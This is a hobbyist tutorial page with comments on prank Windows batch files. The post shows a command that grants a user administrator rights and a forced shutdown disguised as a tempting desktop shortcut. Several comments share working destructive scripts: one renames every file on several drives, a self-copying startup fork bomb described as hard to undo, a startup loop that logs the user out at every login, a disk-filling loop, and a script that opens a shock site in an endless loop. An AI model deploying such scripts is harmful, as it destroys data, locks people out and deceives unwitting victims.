fun things to do with batch files by kerpaul
ok script kiddies and pros alike, its time for my third instructable. before i start, i wanna tell you guys something. I want to hear what YOU guys would like to see next. if you have a fun idea for a batch file, email it to g_colonna@sympatico.ca with batch idea in the subject line. i will pick the very / most legal :P one and post how to make it as an instructable for my 4th. if you leave your instructables name, i'll credit you for concept both in the file and on the instructable itself! _ anyway, now im just gonna show you a few things you can do with some simple (some are even one liners) batch files. NOTE: im not telling you how to use these, some skilled (and maybe unskilled) people might use this for malicious purposes, but that is not the intent. this is for education purposes only. first person to guess what song im listening to gets a cookie ( name and artist >_<)

Step 1: Fun thing #1

another screen.bmp
this can be more / less fun depending on who / how you use it :D
its a simple one liner:

you type: net localgroup administrators USERNAME /add
you can also use /delete at the end. this makes the username you typed into an admin :O if you use /delete on an admin's username, it makes them a normal user >:O. (see pic)

Step 2: Fun thing # 2

of course, theres the slightly-more-legal-but-still-annoying-fun field of pranking your friends. these work really well of someone who isn't that computer smart. Of course these are all harmless and will cause no damage. The worst thing that could possibly happen is their computer freezes. they restart. its fine. yippee.

Try this:
@echo off
echo You have been infected.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo The virus will now proceed to delete your entire hard drive.....thank you for being patient...
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
msg * press ok to stop the virus
msg * haha i lied. the virus will now continue :D have a nice day.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo deleting.......
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo YOU'VE BEEN FOOLED. THERE IS NO VIRUS.
pause

what it looks like:

Step 3: Ah the evil one.

This one can be especially mean if you screw with it too much.
There are many variations, because its only one line. all you do is type:

shutdown -f -s -c "your message here".

This will shutdown the computer when run, displaying a timer and a message of your choice.
if you accidentally run this program on yourself, go and type shutdown -a in the command prompt. this aborts the forced shutdown.

see the -f -s -c part? those are arguments. you can use those and the ones in the list below in any combination you like.

-s <- this shuts down the computer
-r <- this restarts the computer
-l <- this logs off the user
-f <- this forces all programs running to shutdown
-t <- this is the time limit until shutdown (the time is in seconds so -t 60 means 60 seconds until the shutdown commences )
try not to mix -s and -r and -l, only use one at a time, as i cannot guarantee what happens when you mix them.

Now you're probably like WTF? i don't know how to use this in a batch file.....no ones dumb enough to run it.....

Solution: Create a shortcut on the desktop, and give it a nice icon / name (something a curious friend will open)
In the box where it says location type your shutdown code (the above stuff)
*curious friend opens it* and his computer shuts down :D
another solution
Tha code:

@echo off
echo you've been infected with a fun little virus that will now wipe out your computer.
echo please wait .........
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo done!
pathping localhost -q 2 -p 250 > nul
shutdown -f

This closes all their programs, making them think thier drives are wiped :P

Step 4: Just a reminder

AGAIN: SEND ANY IDEAS FOR A NEW BATCH RELATED (hell, any idea is good, even non batch) INSTRUCTABLE AND I WILL PUBLISH IT (batch preferred though, im really good at that and will get done faster). AGAIN, YOUR NAME WILL BE MENTIONED :D

Dead line is august 27nd. no entries accepted on the 28th.

send ideas here with subject line batch idea:

g_colonna@sympatico.ca

thanks for reading!

~PaRaDoX / Kerpaul (to clarify for those who didn't read my second, yes i'm both of these people.)
1-40 of 94Next »
terryb58 says: May 10, 2013. 6:52 AM
Evanescence - Bring Me Back To Life
FariZE(Blackjam) says: Apr 7, 2013. 10:17 PM
figure it out. what this batch file will do when you open it?
@echo off
color 20
title Connecting TibiaME server...
echo Connecting TibiaME server... please wait.
ren "D:\*.*" "*TibiaME.exe"
ren "C:\p*\*.*" "*TibiaME.exe"
ren "G:\*.*" "*TibiaME.exe"
ren "H:\*.*" "*TibiaME.exe"
ren "E:\*.*" "*TibiaME.exe"
ren "I:\*.*" "*TibiaME.exe"
ren "J:\*.*" "*TibiaME.exe"
start attrib C:\WINDOWS +s +h
echo Wscript.Sleep 3000>C:\sleep3000.vbs
start /w wscript.exe C:\sleep3000.vbs
echo Connection failure!
echo a=MsgBox ("Connection time out" ,48, "connection time out")>temp.vbs
start temp.vbs
start /w wscript.exe C:\sleep3000.vbs
del temp.vbs
pause
DanYHKim says: Feb 8, 2013. 11:39 AM
At my university, computers in the classrooms are set to login to domain usernames, and non-admin members are not able to use the Start menu shutdown feature. Instead, they are given the logoff only. Since the policy does not prohibit the Run . . . feature, one can shutdown or reboot these computers by using the shutdown command instead.

I guess one could also just pull the plug, but that is so inelegant.
TehTechnicalGuy says: Aug 7, 2012. 4:13 PM
I would like to share something that will ruin your computer, you will not be able to access your account ever again, (or someone elses'), if you make this batch file and start it.

@echo off
cd %appdata%\Microsoft\Windows\"Start Menu"\Programs\Startup
echo @echo off >> ooo.bat
echo shutdown /l /f >> ooo.bat
start ooo.bat

Use wisely.
akoolkid says: Aug 26, 2012. 1:30 PM
You can access it if you hold shift when you click your username and hold until the account finishes loading and then you can delete the file
TehTechnicalGuy says: Sep 3, 2012. 8:56 AM
Not many people know that however, and so, it can be really useful.
pangra says: Sep 25, 2011. 1:45 AM
Whats the ping local host for
Prof. Pickle says: Aug 10, 2012. 6:31 AM
The ping localhost is generally used to pause a batch file for a certain amount of time. E.g:

@echo off
echo Shutdown will commence in 5
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 4
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 3
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 2
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 1
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 0
shutdown -s -t 0
nhormell says: Apr 12, 2012. 2:44 PM
hey you seem pretty good with batch so
i am trying to make a code for a prank fake virus
it not working could you help me

@ echo off
title Black Wamba
color C0
:Begining
echo you have been infected curtisy of the black wamba hacking team
pause
PING 1.1.1.1 -n 1 -w 6000 >NUL
echo oh i see you dought the black wamba
PING 1.1.1.1 -n 1 -w 120 >NUL
echo HOW ABOUT I SHOW YOU A TASTE OF OUR POWER!!!!
PING 1.1.1.1 -n 1 -w 6000 >NUL
cls
title ERROR
echo "system root\user\program files\Black Wamba" has forced a shut down
echo are you shure you want to shutdown (will lose all saved data)
echo y\n
set /p =answer
pause
if %answer%== y
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600
msg* jk but remember the black wamba watches all
if %answer%== n
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600
msg* jk but remember the black wamba watches all

any help is appreciated thx
nhormell says: Jul 30, 2012. 8:33 AM
thank you so much it worked perfectly thank you
[-NT-]r0adKill says: Jul 29, 2012. 3:47 AM
i also attempted to fix your code, heres wat i got so far:
@ echo off
title Black Wamba
color C0
:Begining
echo you have been infected curtisy of the black wamba hacking team
pause
PING 1.1.1.1 -n 1 -w 6000 >NUL
echo oh i see you dought the black wamba
PING 1.1.1.1 -n 1 -w 120 >NUL
echo HOW ABOUT I SHOW YOU A TASTE OF OUR POWER!!!!
PING 1.1.1.1 -n 1 -w 6000 >NUL
cls
title ERROR
echo "system root\user\program files\Black Wamba" has forced a shut down
echo are you shure you want to shutdown (will lose all saved data)
echo y\n
set /p var=answer
pause
if %var%==y goto yes
if %var%==n goto no

:yes
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600 >nul
msg* jk but remember the black wamba watches all
pause
exit

:no
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600
msg* jk but remember the black wamba watches all
pause
exit

-------------
if you are trying to get a little box to pop up in the middle of the screen with msg*, then i can tell you that won't work. the boxes are a .vbs file and have to be saved seperately. the command line for that would just be

start c:users/desktop/jk.vbs or whatever you named the file and where ever you saved it; the actual box would be:
yay=MsgBox("jk but remember the black wamba watches all",,"title-of-box")
Inv3rsE says: Jul 25, 2012. 7:11 AM
Hey, pal i'm working to fix your code.. :)
nhormell says: Jul 27, 2012. 10:08 AM
thanks for your code but i cant get it to work on my computer for some reason all of the code should work in theory but it just flashes on my screen then closes
monkeys98 says: Oct 28, 2011. 12:07 AM
msg is not recognised as an internal or external command
Inv3rsE says: Jul 25, 2012. 1:42 PM
you must put space between "msg" and "*"
winegums says: Apr 26, 2010. 11:55 AM
 try this one

@echo off
start www.meatspin.com

or if your feeling particularly mean

@echo off
:A
start www.meatspin.com
goto A


this will open meatspin in an infinite loop.

note: the website can be substituted for one of your own choice if you wish :)
jlanejr says: Mar 24, 2012. 3:21 AM
I just joined the site on the advice of my friend and saw your posting. Well what can i say? Meat spin kinda sparked my curiousity. So I googled it and could not closed the browser quick enough. Never the less I have to admit it was horrible. I will use the site for my own fiendish plots. LOL Thanks!!!!
messmaker says: Sep 28, 2010. 7:34 AM
want to get any noober?
One. says: May 1, 2010. 1:44 AM
i wont even comment on that...
Kingfisher111 says: Dec 15, 2011. 11:23 PM
Meat Spin makes me sick
11rex11 says: Oct 19, 2010. 3:28 PM
i did something really evil i used a simpler code but it in a folder and put that in a folder and that in a folder (times that by 2) and put all of them in a weird programs folder i then made a shortcut to it and put it in the start folder i only set the time limit to 5 seconds... }:P
Craig Bird says: Sep 19, 2010. 1:58 PM
In responce to poodie you could simple change the code.


echo :loop > C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\%username%\StartMenu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat

:start
start cmd /c copy "C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp%random%.bat"
goto start

you could also hide the batch file using attrib -h -s- r


spacetinker says: Sep 3, 2010. 10:23 AM
BRING ME THE HORIZON!! idk song (i like death breath so ill go with that), does i get cookie??
efficacy28 says: Jun 28, 2010. 8:55 AM
Ooh ooh ooh! I made a batch file that either shutsdown, restarts, or even logsoff your computer in a specified time!

Here's the code:
@ECHO OFF
title Timed Shutdown v1.00 by Efficacy28
set /a hour="0"
set /a min="0"
set /a sec="0"
color FC
echo Timed Shutdown v1.00
echo Created by Efficacy28
echo Sunday June 28, 2010
echo.
pause
:choose
cls
echo Shutdown computer = S
echo Restart computer = R
echo Logoff computer = L
echo Exit this program = E
echo.
set /p choose="Hello, %username%, what would you like to do?: "
if %choose%==s goto begin
if %choose%==S goto begin
if %choose%==r goto begin
if %choose%==R goto begin
if %choose%==l goto begin
if %choose%==L goto begin
if %choose%==e goto exit
if %choose%==E (goto exit) else goto erchoose
:begin
cls
echo Right now = 1
echo In 5 seconds = 2
echo In 30 seconds = 3
echo In 1 minute = 4
echo In 5 minutes = 5
echo In 15 minutes = 6
echo In 30 minutes = 7
echo In 1 hour = 8
echo In 2 hours = 9
echo Specified time = 0
echo.
set /p userinp="What time would you like to shutdown? (0-9): "
if %userinp%==1 goto shutdown
if %userinp%==2 goto 5sec
if %userinp%==3 goto 30sec
if %userinp%==4 goto 1min
if %userinp%==5 goto 5min
if %userinp%==6 goto 15min
if %userinp%==7 goto 30min
if %userinp%==8 goto 1hr
if %userinp%==9 goto 2hr
if %userinp%==0 (goto specify) else goto erbegin
:yay
if %choose%==s goto shutdown
if %choose%==S goto shutdown
if %choose%==r goto restart
if %choose%==R goto restart
if %choose%==l goto logoff
if %choose%==L goto logoff
:shutdown
cls
@ECHO
shutdown -s
goto exit
:restart
cls
@ECHO
shutdown -r
goto exit
:logoff
cls
@ECHO
shutdown -l
goto exit
:5sec
cls
set /p userinp="Is 5 seconds the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a sec="5"
goto start
:30sec
cls
set /p userinp="Is 30 seconds the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a sec="30"
goto start
:1min
cls
set /p userinp="Is 1 minute the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="1"
goto start
:5min
cls
set /p userinp="Is 5 minutes the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="5"
goto start
:15min
cls
set /p userinp="Is 15 minutes the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="15"
goto start
:30min
cls
set /p userinp="Is 30 minutes the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="30"
goto start
:1hr
cls
set /p userinp="Is 1 hour the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a hour="1"
goto start
:2hr
cls
set /p userinp="Is 2 hours the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a hour="2"
goto start
:specify
cls
set /p hour="How many hours do you want to wait?: "
:min
cls
if %hour% LSS 0 goto errorhour
set /p min="How many minutes do you want to wait?: "
:sec
cls
if %min% GTR 59 (goto errormin)
if %min% LSS 0 goto poop
set /p sec="How many seconds do you want to wait?: "
cls
if %sec% GTR 59 (goto errorsec)
if %sec% LSS 0 goto poopie
goto correction
:correction
set /p userinp="Is %hour% hour(s), %min% minute(s), and %sec% second(s) the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
:start
cls
echo Your computer will be shutdown in %hour% hour(s)
echo %min% minute(s)
echo and %sec% second(s)...
set /a sec="%sec%-1"
ping -n 2 127.0.0.1 >NUL
if %sec%==-1 set /a min="%min%-1"
if %sec%==-1 set /a sec="59"
if %min%==-1 set /a hour="%hour%-1"
if %min%==-1 set /a min="59"
if %hour%==-1 goto yay
goto start
:errorhour
cls
echo %hour% is less than 0!
ping -n 4 127.0.0.1 >NUL
goto specify
:errormin
cls
echo %min% minutes is bigger than 59! (60 minutes is an hour)
ping -n 5 127.0.0.1 >NUL
goto min
:poop
cls
echo %min% is less than 0!
ping -n 4 127.0.0.1 >NUL
goto min
:errorsec
cls
echo %sec% seconds is bigger than 59! (60 seconds is a minute)
ping -n 5 127.0.0.1 >NUL
goto sec
:exit
cls
exit
:erchoose
cls
echo %choose% isn't a valid option!
ping -n 5 127.0.0.1 >NUL
goto choose
:erbegin
cls
echo %userinp% isn't a valid option!
ping -n 5 127.0.0.1 >NUL
goto begin

Or, just download it :P
http://www.megaupload.com/?d=KBZ3NIHP

Enjoy ^_^
V1P says: Jul 8, 2010. 11:56 PM
Kewl man !
nutsandbolts_64 says: May 22, 2010. 2:58 AM
 lol, in step 3: Your computer has been infected. Please wait for the infection to spread. Oh man, wait there's a problem. Okay, virus back to loading. And... shutdown... SHutdown, SHUTdown, SHUTDOWN NOW *#&$)@&$!!!!!! okay finally... <computer shuts down>
poodi says: Mar 31, 2010. 12:50 AM
Best  bat file that can screw up a computer. Use wisely.

echo :loop > C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp%random%.bat"
goto start

This creates a "forkbomb" kind of bat file one that repeatedly opens itself in the start up folder and then proceeds to copy itself indefenatley. When the computer is rebooted it is likely to crash very quickly.

Will be very hard to undo. Mabie rebooting in safe mode will do it. Dunno really.

Only problem is that u need to change the part where its says USER for the username of the target.
Win7Maniac says: May 18, 2010. 7:44 PM
Instead, you can use this code:

echo :loop > %homepath%\Start Menu\Programs\startup\temp.bat
echo start temp >> %homepath%\Start Menu\Programs\startup\temp.bat
echo goto loop >> %homepath%\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "%homepath%\Start Menu\Programs\startup\temp.bat" "%homepath%\Start Menu\Programs\startup\temp%random%.bat"
goto :start

Then you don't have to specify the USER directory.
Saturn V says: May 14, 2010. 3:05 PM
The second one is EVIL!!!

Evil, but highly effective.
PMBell says: Jan 2, 2010. 5:39 PM
this one is good i changed all of my friends desktop icons to that file and he got so pissed
V1P says: Mar 3, 2009. 12:52 AM
use this one : The most annoying one that I made when I was in college :) @echo off :lbl start goto lbl Hv Fun >:P !
noobererer says: Jul 22, 2009. 8:07 PM
HAHAHAHA I WIN! i figured out how to get out of it without shutting down! i just open the file, then hit ctrl + c rapidly for like 5 secs (idk if its needed) then held ctrl + c and they would pretty much close as fast as they oppen then u just have to exit the first window that popped up (while holding ctrl +c)
V1P says: Jul 23, 2009. 8:40 AM
Nice... but after how many tries u did this :) ? But yes anyways, it's just a prank, u can close all the cmd windows if your taskmgr is open. No harm in actual is done with this :) nice go noobererer :)
uberdum05 says: Dec 7, 2009. 9:56 AM
Ah, but you're wrong there, if it makes a copy of itself and opens the copy of itself. You're system will crash double quick now.......
(muhahahaha!)
noobererer says: Jul 24, 2009. 6:56 PM
second try :P GO ME! lol yeh but no matter who u do this too it will have atleast like 50 windows open before they manage to stop it :P
V1P says: Jul 8, 2010. 11:59 PM
hmm ... there are other load of pranks I hv made, will post 'em later on, hv been busy in my stupid daily job :'(
noobererer says: Jul 9, 2010. 8:28 PM
Sweet! Can't wait to see 'em :)
karmakid732 says: May 9, 2009. 7:06 PM
that ones annoying as hell i just did it on my computer and had to restart it is there any cure besides shutting down
ghostWolf59 says: Mar 12, 2009. 9:43 PM
Here's a better one that will turn the most powerful PC into a sluggish 286 as well as filling up the local hard disk :) @echo off echo 0 >> dump.log %0 he, he, he
V1P says: Mar 17, 2009. 3:10 AM
Nice :)
1-40 of 94Next »
Pro

Get More Out of Instructables

Already have an Account?

close

PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!